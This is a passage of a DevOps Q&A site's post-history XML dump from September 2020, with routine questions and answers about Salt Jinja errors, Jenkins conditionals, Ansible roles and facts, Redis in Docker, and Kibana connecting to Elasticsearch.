file.replace:&#xD;&#xA;    - name: {{ salt['pillar.get']('solr:home_dir') }}/data/{{ salt['pillar.get']('spade:Corename') }}/conf/solrconfig.xml&#xD;&#xA;    - pattern: '&quot;autoDeletePeriodSeconds&quot;&gt;30'&#xD;&#xA;    - repl: '&quot;autoDeletePeriodSeconds&quot;&gt;-1'&#xD;&#xA;{% endif %}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**ERROR**:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;local:&#xD;&#xA;&#xD;&#xA;Data failed to compile:&#xD;&#xA;----------&#xD;&#xA;Rendering SLS 'base:solr.install-solr' failed: Jinja syntax error: Unexpected end of template. Jinja was looking for the following tags: 'endif'. The innermost block that needs to be closed is 'if'.; line 205&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;[...]&#xD;&#xA;&#xD;&#xA;update-fi-solrconfig:&#xD;&#xA;file.replace:&#xD;&#xA;- name: {{ salt['pillar.get']('solr:home_dir') }}/data/{{ salt['pillar.get']('spade:Corename') }}/conf/solrconfig.xml&#xD;&#xA;- pattern: '&quot;autoDeletePeriodSeconds&quot;&gt;30'&#xD;&#xA;- repl: '&quot;autoDeletePeriodSeconds&quot;&gt;-1'&#xD;&#xA;{% endif %} &lt;======================" ContentLicense="CC BY-SA 4.0" />
  <row Id="38423" PostHistoryTypeId="24" PostId="11679" RevisionGUID="1570c532-6fa6-44b6-a0dd-2912188390be" CreationDate="2020-09-28T16:17:43.950" Comment="Proposed by 23904 approved by 40 edit id of 1281" ContentLicense="CC BY-SA 4.0" />
  <row Id="38424" PostHistoryTypeId="2" PostId="12512" RevisionGUID="580fda33-2d6e-42f0-990f-417abd27f506" CreationDate="2020-09-28T17:36:51.803" UserId="4115" Text="Use the [Active Choice Parameter plugin](https://plugins.jenkins.io/uno-choice/) which allows you to run a Groovy script to dynamically load values for your parameters." ContentLicense="CC BY-SA 4.0" />
  <row Id="38425" PostHistoryTypeId="2" PostId="12513" RevisionGUID="6c76b01a-3bc2-4c2e-9972-9b3df07b4d7c" CreationDate="2020-09-28T18:58:19.673" UserId="24118" Text="According to documentation [1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;NOTE - For windows clients, the results will be added to a variable &#xD;&#xA;named after the local file (without extension suffix), rather than ansible_local.&#xD;&#xA;&#xD;&#xA;According to your example it should be in `ansible_foo`, but take into consideration that the files in the path must be PowerShell scripts (with extension .ps1) so maybe `foo.fact` wasn't actually executed.&#xD;&#xA;&#xD;&#xA;Hope it helps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1] https://docs.ansible.com/ansible/latest/collections/ansible/builtin/setup_module.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="38426" PostHistoryTypeId="2" PostId="12514" RevisionGUID="6ee1ffa3-9694-4d5d-b77c-ab1ac0f8bbb1" CreationDate="2020-09-28T21:39:36.010" UserId="21779" Text="Not tested this, but is [include_role](https://docs.ansible.com/ansible/latest/collections/ansible/builtin/include_role_module.html) any help? so instead of a playbook like this,&#xD;&#xA;&#xD;&#xA;     ---&#xD;&#xA;     - name: Example&#xD;&#xA;       hosts: all&#xD;&#xA;       roles:&#xD;&#xA;        - first_role&#xD;&#xA;        - second_role&#xD;&#xA;        - third_role&#xD;&#xA;&#xD;&#xA;maybe this,&#xD;&#xA;&#xD;&#xA;     ---&#xD;&#xA;     - name: Example&#xD;&#xA;       hosts: all&#xD;&#xA;       tasks:&#xD;&#xA;        - etckeeper_task&#xD;&#xA;        - include_role:&#xD;&#xA;            name: first_role&#xD;&#xA;        - etckeeper_task&#xD;&#xA;        - include_role:&#xD;&#xA;            name: second_role&#xD;&#xA;        - etckeeper_task&#xD;&#xA;        - include_role:&#xD;&#xA;            name: third_role&#xD;&#xA;        - etckeeper_task&#xD;&#xA;&#xD;&#xA;alternatively (also untested) you could build a role, let's call it `wrap_role` with `tasks/main.yml` containing,&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    # Replace this task with your actual before-role etckeeper task,&#xD;&#xA;    - name: etckeeper pre-actions&#xD;&#xA;      meta: noop&#xD;&#xA;&#xD;&#xA;    - include_role:&#xD;&#xA;      name: {{role_name}}&#xD;&#xA;    &#xD;&#xA;    # Replace this task with your actual after-role etckeeper task,&#xD;&#xA;    - name: etckeeper post-actions&#xD;&#xA;      meta: noop&#xD;&#xA;&#xD;&#xA;Now your top-level playbook can be something like,&#xD;&#xA;&#xD;&#xA;     ---&#xD;&#xA;     - name: Example&#xD;&#xA;       hosts: all&#xD;&#xA;       roles:&#xD;&#xA;         - { role: wrap_role, role_name: first_role }&#xD;&#xA;         - { role: wrap_role, role_name: second_role }&#xD;&#xA;         - { role: wrap_role, role_name: third_role }&#xD;&#xA;&#xD;&#xA;not ideal based on your question, but at least it leaves the roles untouched, even if you have to alter top-level playbooks. If I get the time I'll test the above suggestions and update this answer accordingly." ContentLicense="CC BY-SA 4.0" />
  <row Id="38427" PostHistoryTypeId="2" PostId="12515" RevisionGUID="d874b79a-8ffc-49b4-94f5-bd096d895270" CreationDate="2020-09-28T23:37:53.590" UserId="24120" Text="Team, I have a Jenkins job that runs every 5minutes and sends a slack notify to channel. but I want to not send slack if there is 0 returned in count variable. &#xD;&#xA;&#xD;&#xA;how to achieve this? like with `if  else` in Jenkins pipeline?&#xD;&#xA;&#xD;&#xA;current code&#xD;&#xA;```&#xD;&#xA; stage('Run') {&#xD;&#xA;      when { expression { !params.Refresh } }&#xD;&#xA;      steps {&#xD;&#xA;        script {&#xD;&#xA;        sh &quot;ls -lrt src/jenkins/pipelines/sre/&quot;&#xD;&#xA;        sh(&quot;cd src/jenkins/pipelines/sre/program-pod-stuck/ &amp;&amp; python3 stuckPodInfo.py&quot;)&#xD;&#xA;        count = sh(script: &quot;&quot;&quot;cd src/jenkins/pipelines/sre/program-pod-stuck/ &amp;&amp; cat count&quot;&quot;&quot;, returnStdout: true).trim()&#xD;&#xA;        slackSend(channel: &quot;#team-alerts&quot;, message: &quot;${count} pods from user workflow pods are stuck. &lt;${env.BUILD_URL}console|Details&gt;&quot;)&#xD;&#xA;        println count&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;proposed code to run conditionally.&#xD;&#xA;```&#xD;&#xA; stage('Run') {&#xD;&#xA;      when { expression { !params.Refresh } }&#xD;&#xA;      steps {&#xD;&#xA;        script {&#xD;&#xA;        sh &quot;ls -lrt src/jenkins/pipelines/sre/&quot;&#xD;&#xA;        sh(&quot;cd src/jenkins/pipelines/sre/program-pod-stuck/ &amp;&amp; python3 stuckPodInfo.py&quot;)&#xD;&#xA;        count = sh(script: &quot;&quot;&quot;cd src/jenkins/pipelines/sre/program-pod-stuck/ &amp;&amp; cat count&quot;&quot;&quot;, returnStdout: true).trim()&#xD;&#xA;        if $count != '0' {&#xD;&#xA;        slackSend(channel: &quot;#team-alerts&quot;, message: &quot;${count} pods from user workflow pods are stuck. &lt;${env.BUILD_URL}console|Details&gt;&quot;)&#xD;&#xA;        } else {&#xD;&#xA;        echo 'no pods stuck, suppressing slack alert'&#xD;&#xA;        }&#xD;&#xA;        println count&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="38428" PostHistoryTypeId="1" PostId="12515" RevisionGUID="d874b79a-8ffc-49b4-94f5-bd096d895270" CreationDate="2020-09-28T23:37:53.590" UserId="24120" Text="how to check if a pipeline variable is empty" ContentLicense="CC BY-SA 4.0" />
  <row Id="38429" PostHistoryTypeId="3" PostId="12515" RevisionGUID="d874b79a-8ffc-49b4-94f5-bd096d895270" CreationDate="2020-09-28T23:37:53.590" UserId="24120" Text="&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38430" PostHistoryTypeId="50" PostId="5377" RevisionGUID="6b00ebdf-cbb3-4d74-950c-ade0599af48e" CreationDate="2020-09-29T00:00:35.230" UserId="-1" />
  <row Id="38431" PostHistoryTypeId="2" PostId="12516" RevisionGUID="41b46d0c-9254-4632-ab17-95d221cd1a6f" CreationDate="2020-09-29T00:37:55.970" UserId="23443" Text="Trying to understand what's happening here:&#xD;&#xA;&#xD;&#xA;    root@mordor:~# &#xD;&#xA;    root@mordor:~# docker ps -a&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES&#xD;&#xA;    root@mordor:~# &#xD;&#xA;    root@mordor:~# docker network ls&#xD;&#xA;    NETWORK ID          NAME                DRIVER              SCOPE&#xD;&#xA;    10d38d6f1fa1        bridge              bridge              local&#xD;&#xA;    5b5fde2dd7cc        foo                 bridge              local&#xD;&#xA;    1a7946d0b10c        host                host                local&#xD;&#xA;    0cbbb6d4f486        none                null                local&#xD;&#xA;    root@mordor:~# &#xD;&#xA;    root@mordor:~# docker run --name rd --network foo -d redis redis-server --appendonly yes&#xD;&#xA;    ea782770bcff816a642bc700abd2fadd524e3eeca10820e4c158ae4e72eda139&#xD;&#xA;    root@mordor:~# &#xD;&#xA;    root@mordor:~# docker container ls&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS               NAMES&#xD;&#xA;    ea782770bcff        redis               &quot;docker-entrypoint.s…&quot;   42 seconds ago      Up 40 seconds       6379/tcp            rd&#xD;&#xA;    root@mordor:~# &#xD;&#xA;    root@mordor:~# docker run -it --network foo --rm redis redis-cli -h rd&#xD;&#xA;    rd:6379&gt; &#xD;&#xA;    rd:6379&gt; ping&#xD;&#xA;    PONG&#xD;&#xA;    rd:6379&gt; &#xD;&#xA;    rd:6379&gt; set foo bar&#xD;&#xA;    OK&#xD;&#xA;    rd:6379&gt; &#xD;&#xA;    rd:6379&gt; get foo&#xD;&#xA;    &quot;bar&quot;&#xD;&#xA;    rd:6379&gt; &#xD;&#xA;    rd:6379&gt; keys *&#xD;&#xA;    1) &quot;foo&quot;&#xD;&#xA;    rd:6379&gt; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I can see how to spin up the [community][1] version of `redis`, I only added the `foo` network.  But why is the connection with `run` rather than `exec`?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/_/redis" ContentLicense="CC BY-SA 4.0" />
  <row Id="38432" PostHistoryTypeId="1" PostId="12516" RevisionGUID="41b46d0c-9254-4632-ab17-95d221cd1a6f" CreationDate="2020-09-29T00:37:55.970" UserId="23443" Text="why is &quot;docker run&quot; used to connect to redis?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38433" PostHistoryTypeId="3" PostId="12516" RevisionGUID="41b46d0c-9254-4632-ab17-95d221cd1a6f" CreationDate="2020-09-29T00:37:55.970" UserId="23443" Text="&lt;docker&gt;&lt;networking&gt;&lt;databases&gt;&lt;configuration&gt;&lt;redis&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38435" PostHistoryTypeId="2" PostId="12517" RevisionGUID="9c95c25a-9e48-4b35-ab31-75af82084b6b" CreationDate="2020-09-29T01:52:18.663" UserId="23443" Text="How do I get the following &quot;Hello Redis!!!&quot; dockerized [sample][1] to run?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    root@mordor:~# &#xD;&#xA;    root@mordor:~# docker container ls&#xD;&#xA;    CONTAINER ID        IMAGE                COMMAND                  CREATED             STATUS              PORTS               NAMES&#xD;&#xA;    0d51479c1b57        redislabs/redis-py   &quot;docker-entrypoint.s…&quot;   12 minutes ago      Up 12 minutes       6379/tcp            redis-python&#xD;&#xA;    ea782770bcff        redis                &quot;docker-entrypoint.s…&quot;   26 minutes ago      Up 26 minutes       6379/tcp            rd&#xD;&#xA;    root@mordor:~# &#xD;&#xA;    root@mordor:~# docker exec -it --user root redis-python bash&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# ls&#xD;&#xA;    requirements.txt  test_db.py  test_db.py.1&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# cat test_db.py.1 &#xD;&#xA;    # The MIT License (MIT)&#xD;&#xA;    #&#xD;&#xA;    # Copyright (c) 2018 Redis Labs&#xD;&#xA;    #&#xD;&#xA;    # Permission is hereby granted, free of charge, to any person obtaining a copy&#xD;&#xA;    # of this software and associated documentation files (the &quot;Software&quot;), to deal&#xD;&#xA;    # in the Software without restriction, including without limitation the rights&#xD;&#xA;    # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell&#xD;&#xA;    # copies of the Software, and to permit persons to whom the Software is&#xD;&#xA;    # furnished to do so, subject to the following conditions:&#xD;&#xA;    # &#xD;&#xA;    # The above copyright notice and this permission notice shall be included in all&#xD;&#xA;    # copies or substantial portions of the Software.&#xD;&#xA;    # &#xD;&#xA;    # THE SOFTWARE IS PROVIDED &quot;AS IS&quot;, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR&#xD;&#xA;    # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,&#xD;&#xA;    # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE&#xD;&#xA;    # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER&#xD;&#xA;    # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,&#xD;&#xA;    # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE&#xD;&#xA;    # SOFTWARE.&#xD;&#xA;    #&#xD;&#xA;    # Script Name: settings.sh&#xD;&#xA;    # Author: Cihan Biyikoglu - github:(cihanb)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    import sys&#xD;&#xA;    import redis&#xD;&#xA;    &#xD;&#xA;    # try:&#xD;&#xA;    &#xD;&#xA;    print (&quot;:: test_db.py&quot;)&#xD;&#xA;    &#xD;&#xA;    if (len(sys.argv) &lt;= 1):&#xD;&#xA;        print(&quot;Need to provide a DB port to test connectiivity. Example: python Redis-Python-Sample.py 12000&quot;)&#xD;&#xA;    &#xD;&#xA;    host_name = sys.argv[1]&#xD;&#xA;    db_port = sys.argv[2]&#xD;&#xA;    &#xD;&#xA;    print(&quot;Connecting to host={0} and port={1}&quot;.format(host_name,db_port))&#xD;&#xA;    r = redis.StrictRedis(host=host_name, port=db_port, db=0)&#xD;&#xA;    &#xD;&#xA;    print(&quot;Set key 'key1' to value '123' on host={0} and port={1}&quot;.format(host_name,db_port))&#xD;&#xA;    r.set('key1', '123')&#xD;&#xA;    &#xD;&#xA;    print(&quot;Get key 'key1' and validate value is '123' on host={0} and port={1}&quot;.format(host_name,db_port))&#xD;&#xA;    if (r.get('key1') == b'123'):&#xD;&#xA;        print(&quot;DB TEST PASSED&quot;)&#xD;&#xA;    else:&#xD;&#xA;        print(&quot;DB TEST FAILED: Can't find the key&quot;)&#xD;&#xA;    &#xD;&#xA;    # except:&#xD;&#xA;    #     print(&quot;DB TEST FAILED&quot;)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    root@0d51479c1b57:/usr/src/app#  &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# cat test_db.py&#xD;&#xA;    import sys&#xD;&#xA;    import redis&#xD;&#xA;    &#xD;&#xA;    print (&quot;:: test_db.py&quot;)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    	&#xD;&#xA;    r = redis.StrictRedis(host=&quot;127.0.0.1&quot;, port=6379, decode_responses=True)&#xD;&#xA;    	&#xD;&#xA;    r.set(&quot;msg:hello&quot;, &quot;Hello Redis!!!&quot;)&#xD;&#xA;    	&#xD;&#xA;    msg = r.get(&quot;msg:hello&quot;)&#xD;&#xA;    	&#xD;&#xA;    print(msg)&#xD;&#xA;    &#xD;&#xA;    	&#xD;&#xA;    if (r.get('key1') == b'123'):&#xD;&#xA;        print(&quot;DB TEST PASSED&quot;)&#xD;&#xA;    else:&#xD;&#xA;        print(&quot;DB TEST FAILED: Can't find the key&quot;)&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# cat requirements.txt &#xD;&#xA;    redis&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# python3 test_db.py&#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;      File &quot;test_db.py&quot;, line 2, in &lt;module&gt;&#xD;&#xA;        import redis&#xD;&#xA;    ImportError: No module named 'redis'&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# pip3 install redis&#xD;&#xA;    Downloading/unpacking redis&#xD;&#xA;      Downloading redis-3.5.3-py2.py3-none-any.whl (72kB): 72kB downloaded&#xD;&#xA;    Installing collected packages: redis&#xD;&#xA;    Successfully installed redis&#xD;&#xA;    Cleaning up...&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# python3 test_db.py&#xD;&#xA;    :: test_db.py&#xD;&#xA;    Hello Redis!!!&#xD;&#xA;    DB TEST FAILED: Can't find the key&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;it's fine that the test failed, only concerned about execution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/q/64107072/4531180" ContentLicense="CC BY-SA 4.0" />
  <row Id="38436" PostHistoryTypeId="1" PostId="12517" RevisionGUID="9c95c25a-9e48-4b35-ab31-75af82084b6b" CreationDate="2020-09-29T01:52:18.663" UserId="23443" Text="How to execute a &quot;hello redis&quot; sample python script on a container from the host?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38437" PostHistoryTypeId="3" PostId="12517" RevisionGUID="9c95c25a-9e48-4b35-ab31-75af82084b6b" CreationDate="2020-09-29T01:52:18.663" UserId="23443" Text="&lt;docker&gt;&lt;networking&gt;&lt;databases&gt;&lt;python&gt;&lt;redis&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38438" PostHistoryTypeId="5" PostId="12517" RevisionGUID="fcfaddea-67c2-4857-9be7-769f46f04e88" CreationDate="2020-09-29T02:00:02.633" UserId="23443" Comment="deleted 8 characters in body" Text="How do I execute this &quot;Hello Redis!!!&quot;  sample [from the host][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    root@mordor:~# &#xD;&#xA;    root@mordor:~# docker container ls&#xD;&#xA;    CONTAINER ID        IMAGE                COMMAND                  CREATED             STATUS              PORTS               NAMES&#xD;&#xA;    0d51479c1b57        redislabs/redis-py   &quot;docker-entrypoint.s…&quot;   12 minutes ago      Up 12 minutes       6379/tcp            redis-python&#xD;&#xA;    ea782770bcff        redis                &quot;docker-entrypoint.s…&quot;   26 minutes ago      Up 26 minutes       6379/tcp            rd&#xD;&#xA;    root@mordor:~# &#xD;&#xA;    root@mordor:~# docker exec -it --user root redis-python bash&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# ls&#xD;&#xA;    requirements.txt  test_db.py  test_db.py.1&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# cat test_db.py.1 &#xD;&#xA;    # The MIT License (MIT)&#xD;&#xA;    #&#xD;&#xA;    # Copyright (c) 2018 Redis Labs&#xD;&#xA;    #&#xD;&#xA;    # Permission is hereby granted, free of charge, to any person obtaining a copy&#xD;&#xA;    # of this software and associated documentation files (the &quot;Software&quot;), to deal&#xD;&#xA;    # in the Software without restriction, including without limitation the rights&#xD;&#xA;    # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell&#xD;&#xA;    # copies of the Software, and to permit persons to whom the Software is&#xD;&#xA;    # furnished to do so, subject to the following conditions:&#xD;&#xA;    # &#xD;&#xA;    # The above copyright notice and this permission notice shall be included in all&#xD;&#xA;    # copies or substantial portions of the Software.&#xD;&#xA;    # &#xD;&#xA;    # THE SOFTWARE IS PROVIDED &quot;AS IS&quot;, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR&#xD;&#xA;    # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,&#xD;&#xA;    # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE&#xD;&#xA;    # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER&#xD;&#xA;    # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,&#xD;&#xA;    # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE&#xD;&#xA;    # SOFTWARE.&#xD;&#xA;    #&#xD;&#xA;    # Script Name: settings.sh&#xD;&#xA;    # Author: Cihan Biyikoglu - github:(cihanb)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    import sys&#xD;&#xA;    import redis&#xD;&#xA;    &#xD;&#xA;    # try:&#xD;&#xA;    &#xD;&#xA;    print (&quot;:: test_db.py&quot;)&#xD;&#xA;    &#xD;&#xA;    if (len(sys.argv) &lt;= 1):&#xD;&#xA;        print(&quot;Need to provide a DB port to test connectiivity. Example: python Redis-Python-Sample.py 12000&quot;)&#xD;&#xA;    &#xD;&#xA;    host_name = sys.argv[1]&#xD;&#xA;    db_port = sys.argv[2]&#xD;&#xA;    &#xD;&#xA;    print(&quot;Connecting to host={0} and port={1}&quot;.format(host_name,db_port))&#xD;&#xA;    r = redis.StrictRedis(host=host_name, port=db_port, db=0)&#xD;&#xA;    &#xD;&#xA;    print(&quot;Set key 'key1' to value '123' on host={0} and port={1}&quot;.format(host_name,db_port))&#xD;&#xA;    r.set('key1', '123')&#xD;&#xA;    &#xD;&#xA;    print(&quot;Get key 'key1' and validate value is '123' on host={0} and port={1}&quot;.format(host_name,db_port))&#xD;&#xA;    if (r.get('key1') == b'123'):&#xD;&#xA;        print(&quot;DB TEST PASSED&quot;)&#xD;&#xA;    else:&#xD;&#xA;        print(&quot;DB TEST FAILED: Can't find the key&quot;)&#xD;&#xA;    &#xD;&#xA;    # except:&#xD;&#xA;    #     print(&quot;DB TEST FAILED&quot;)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    root@0d51479c1b57:/usr/src/app#  &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# cat test_db.py&#xD;&#xA;    import sys&#xD;&#xA;    import redis&#xD;&#xA;    &#xD;&#xA;    print (&quot;:: test_db.py&quot;)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    	&#xD;&#xA;    r = redis.StrictRedis(host=&quot;127.0.0.1&quot;, port=6379, decode_responses=True)&#xD;&#xA;    	&#xD;&#xA;    r.set(&quot;msg:hello&quot;, &quot;Hello Redis!!!&quot;)&#xD;&#xA;    	&#xD;&#xA;    msg = r.get(&quot;msg:hello&quot;)&#xD;&#xA;    	&#xD;&#xA;    print(msg)&#xD;&#xA;    &#xD;&#xA;    	&#xD;&#xA;    if (r.get('key1') == b'123'):&#xD;&#xA;        print(&quot;DB TEST PASSED&quot;)&#xD;&#xA;    else:&#xD;&#xA;        print(&quot;DB TEST FAILED: Can't find the key&quot;)&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# cat requirements.txt &#xD;&#xA;    redis&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# python3 test_db.py&#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;      File &quot;test_db.py&quot;, line 2, in &lt;module&gt;&#xD;&#xA;        import redis&#xD;&#xA;    ImportError: No module named 'redis'&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# pip3 install redis&#xD;&#xA;    Downloading/unpacking redis&#xD;&#xA;      Downloading redis-3.5.3-py2.py3-none-any.whl (72kB): 72kB downloaded&#xD;&#xA;    Installing collected packages: redis&#xD;&#xA;    Successfully installed redis&#xD;&#xA;    Cleaning up...&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;    root@0d51479c1b57:/usr/src/app# python3 test_db.py&#xD;&#xA;    :: test_db.py&#xD;&#xA;    Hello Redis!!!&#xD;&#xA;    DB TEST FAILED: Can't find the key&#xD;&#xA;    root@0d51479c1b57:/usr/src/app# &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;it's fine that the test failed, only concerned about execution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I dumbed down the script to better work with the default community build of `redis`.&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/q/64107072/4531180" ContentLicense="CC BY-SA 4.0" />
  <row Id="38439" PostHistoryTypeId="5" PostId="12513" RevisionGUID="3cc21d33-6150-4230-867f-2a05d556f015" CreationDate="2020-09-29T06:49:31.270" UserId="40" Comment="fix formatting " Text="According to [documentation][1]:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;NOTE - For windows clients, the results will be added to a variable &#xD;&#xA;named after the local file (without extension suffix), rather than ansible_local.&#xD;&#xA;&#xD;&#xA;According to your example it should be in `ansible_foo`, but take into consideration that the files in the path must be PowerShell scripts (with extension .ps1) so maybe `foo.fact` wasn't actually executed.&#xD;&#xA;&#xD;&#xA;Hope it helps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/collections/ansible/builtin/setup_module.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="38440" PostHistoryTypeId="5" PostId="1784" RevisionGUID="4775a39c-6859-4525-a301-797b906c2eaf" CreationDate="2020-09-29T06:49:44.193" UserId="1180" Comment="typos corrected" Text="Version Control (using say Git) and Artifact Management (using Artifactory) are complementary. Version control is useful for easily browsing the historical changes and who made them. Artifact management tools can do this but it's clunky. Also they don't offer a fine grained view of changes, as one version change might involve a large amount of changes.&#xD;&#xA;&#xD;&#xA;When integrated with a workflow like feature branches, version control offers some real benefits around collaboration particularly for distributed teams.&#xD;&#xA;&#xD;&#xA;Some places use just version control with no artifact management, i.e. Reddit. They deploy to 800 servers 200 times a week using just Git. This may or may not be the best solution for you.&#xD;&#xA;&#xD;&#xA;An artifact can be many things, not just a binary. It can be a tar ball of files, an rpm, a virtual machine or a docker container. But I've not really seen artifact tools used to deploy configuration management, you could just deploy straight from Git or bundle it into a tarball or rpm." ContentLicense="CC BY-SA 4.0" />
  <row Id="38441" PostHistoryTypeId="24" PostId="1784" RevisionGUID="4775a39c-6859-4525-a301-797b906c2eaf" CreationDate="2020-09-29T06:49:44.193" Comment="Proposed by 1180 approved by 40 edit id of 1282" ContentLicense="CC BY-SA 4.0" />
  <row Id="38442" PostHistoryTypeId="2" PostId="12518" RevisionGUID="0442191b-f03b-4788-97e9-3c3332311301" CreationDate="2020-09-29T09:21:40.843" UserId="11797" Text="I have installed elasticsearch-oss 7.9.2 and kibana 7.9.2 on ubuntu 18.04 when I start elasticsearch service then it's started normally but when I start service kibana it's not starting and shows error '**Unable to connect to Elasticsearch**. Error: Request Timeout after 30000ms'  " ContentLicense="CC BY-SA 4.0" />
  <row Id="38443" PostHistoryTypeId="1" PostId="12518" RevisionGUID="0442191b-f03b-4788-97e9-3c3332311301" CreationDate="2020-09-29T09:21:40.843" UserId="11797" Text="Unable to connect to Elasticsearch [ Error: Request Timeout after 30000ms ]" ContentLicense="CC BY-SA 4.0" />
  <row Id="38444" PostHistoryTypeId="3" PostId="12518" RevisionGUID="0442191b-f03b-4788-97e9-3c3332311301" CreationDate="2020-09-29T09:21:40.843" UserId="11797" Text="&lt;elastic&gt;&lt;kibana&gt;&lt;elasticsearch&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38445" PostHistoryTypeId="2" PostId="12519" RevisionGUID="1cb599a6-b67c-4b54-83ab-7c563b5a728f" CreationDate="2020-09-29T09:30:52.273" UserId="11598" Text="Put the following setting in `/etc/elasticsearch.yml` and it will work.&#xD;&#xA;&#xD;&#xA;    network.host: 0.0.0.0&#xD;&#xA;    discovery.type: single-node" ContentLicense="CC BY-SA 4.0" />
  <row Id="38446" PostHistoryTypeId="2" PostId="12520" RevisionGUID="1bba112e-a767-416d-9eb8-7cbfcfc0bd09" CreationDate="2020-09-29T11:21:18.117" UserId="24128" Text="I am trying to implement my first MLOps on Microsoft Azure. I am following their official document here:&#xD;&#xA;&#xD;&#xA;[MlOps using Azure ML and Azure pipelines][1]&#xD;&#xA;&#xD;&#xA;I have followed all their steps till Data pipeline. When I try to run the data-pipeline, I get the following error:&#xD;&#xA;&#xD;&#xA;`No plan found for identifier 3b6fd8bf-2fc0-4739-9a93-7e1210e45ae8.`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Attaching a screenshot of the same.&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I have just started with MLOps and Azure DevOps. I will glad if someone can help.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://benalexkeen.com/creating-end-to-end-mlops-pipelines-using-azure-ml-and-azure-pipelines-part-3/&#xD;&#xA;  [2]: https://i.stack.imgur.com/ohxb8.png" ContentLicense="CC BY-SA 4.0" 